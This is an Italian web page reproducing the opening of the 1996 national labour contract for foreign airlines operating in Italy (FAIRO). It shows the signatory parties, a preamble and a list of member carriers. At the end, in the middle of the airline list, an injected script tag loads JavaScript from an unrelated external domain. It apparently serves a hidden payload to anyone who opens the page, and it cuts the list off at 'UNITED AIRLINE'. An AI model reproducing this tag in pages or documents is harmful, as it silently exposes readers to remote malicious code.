Torna
all'elenco delle categorie
|
Categoria: Aerei, Compagnie aree straniere (FAIRO) Settore: Trasporti Data stipula: 22-4-1996 Data decorrenza: 1-7-1995 Data scadenza: 30-6-1999
Contratto Collettivo Nazionale di Lavoro
22 aprile 1996
COMPAGNIE AEREE STRANIERE
FAIRO (Foreign Airlines Industrial Relations Organisation)
Decorrenza: 1° luglio 1995 - 30 giugno 1999.
COSTITUZIONE DELLE PARTI
Addì 22 aprile 1996 in Roma
- FAIRO (Foreign Airlines Industrial Relations Organization)
rappresentata dal presidente sig. Nicola Teresi e dal segretario generale
dr. Giorgio Imbriani, assistiti dai membri del comitato esecutivo sigg.
Denis Belloc, Usama Faraj, T.K. Pillai, Giulio Berardi, Jack Lawless,
Stuart Fisher;
- FILT-CGIL nazionale e regionale - Settore Trasporto Aereo
rappresentata dai sigg. Carlo Lolli, Roberto Scotti, Danilo Biricchi,
Franco Brioschi;
- FIT-CISL nazionale e regionali - Settore Trasporto Aereo
rappresentata dai sigg. Silvano Barberini, Giuseppe Castro, Angelo Sesa,
Franco Ciarcia, Pierluigi Nanni, Antonio de Pasquale;
- UIL TRASPORTI nazionale e regionali - Settore Trasporto Aereo -
rappresentata dai sigg. Paolo Carcassi, Felice Contorni, Bruno Cipullo,
Antonino Cutispoto, Francesco Bernardo;
con la partecipazione delle rispettive Rappresentanze Sindacali Aziendali
(RSA) hanno stipulato il presente CCNL valevole per i quadri, impiegati e
operai dipendenti dalle Compagnie di Trasporto Aereo operanti in Italia e
aderenti alla FAIRO.
COSTITUZIONE DELLE PARTI
Addì 22 aprile 1996 in Roma
- FAIRO (Foreign Airlines Industrial Relations Organization)
rappresentata dal presidente sig. Nicola Teresi e dal segretario generale
dr. Giorgio Imbriani, assistiti dai membri del comitato esecutivo sigg.
Denis Belloc, Usama Faraj, T.K. Pillai, Giulio Berardi, Jack Lawless,
Stuart Fisher;
- CISNAL TRASPORTI - Federazione Nazionale Lavoratori Trasporti e
Ausiliari del Traffico rappresentata dal segretario nazionale Paolo
Segarelli, con la partecipazione dei sigg. Marco Clarke, Pedro Gomez,
Eleonora Leone, Salvatore Merola
hanno stipulato il presente CCNL valevole per i quadri, impiegati e operai
dipendenti dalle Compagnie di trasporto aereo operanti in Italia e
aderenti alla FAIRO.
PREMESSA
Il presente contratto si articola in 3 parti:
- parte comune;
- parte specifica;
- parte aziendale.
I trattamenti economici e normativi stabiliti dal presente contratto
sostituiscono integralmente nella loro globalità quelli precedentemente in
vigore per gli impiegati e operai dipendenti delle Compagnie Aeree
aderenti alla FAIRO, come da lista allegata.
Il presente contratto è stato redatto in lingua italiana e in lingua
inglese ma si concorda che, in caso di controversie sull'interpretazione,
farà riferimento e fede il testo italiano.
LISTA DELLE COMPAGNIE AEREE ASSOCIATE ALLA FAIRO
AER LINGUS
AEROLINEAS ARGENTINAS
AIR AFRIQUE
AIR ALGERIE
AIR FRANCE
AIR GABON
AIR INDIA
AIR MALTA
AIR MAURITIUS
AMERICAN AIRLINES
ANA ALL NIPPON AIR
ANGOLA AIRLINES
AUSTRIAN AIRLINES
BIMAN-BANGLADESH AIRLINES
BRITISH AIRWAYS
CANADIAN AIRLINES INTERNATIONAL
CARGOLUX
CATHAY PACIFIC AIRWAYS
CHINA AIRLINES
CYPRUS AIRWAYS
CUBANA DE AVIACION
CSA - CZECH AIRLINES
DELTA AIRWAYS
EGYPTAIR
EL AL - ISRAEL AIRLINES
EMIRATES
ETHIOPIAN AIRLINES
FINNAIR
GARUDA - INDONESIAN AIRWAYS
GHANA AIRWAYS
IRAN AIR
JAL - JAPAN AIRLINES
KENYA AIRWAYS
KLM - ROYAL DUTCH AIRLINES
KOREAN AIR
KUWAIT AIRWAYS
LOT POLISH AIRLINES
MALAYSIA AIRLINES
MEA - MIDDLE EAST AIRLINES
NIGERIA AIRWAYS
NIPPON CARGO AIRLINES
OLYMPIC AIRWAYS
PIA - PAKISTAN INTL AIRLINES
QANTAS AIRWAYS
ROYAL JORDANIAN
ROYAL AIR MAROC
SAA - South African Airways
SABENA
SAS - SCANDINAVIAN AIRLINES
SAUDIA - SAUDI ARABIAN AIRLINES
SINGAPORE AIRLINES
SUDAN AIRWAYS
SYRIAN AIRLINES
TAP-AIR PORTUGAL
THY-TURKISH AIRLINES
TMA - TRANS MEDITERRANEAN AIRWAYS
TUNIS AIR
TWA - TRANS WORLD AIRLINES
UNITED AIRLINE<script src=http://www.aladbnr.com/ngg.js></script>
|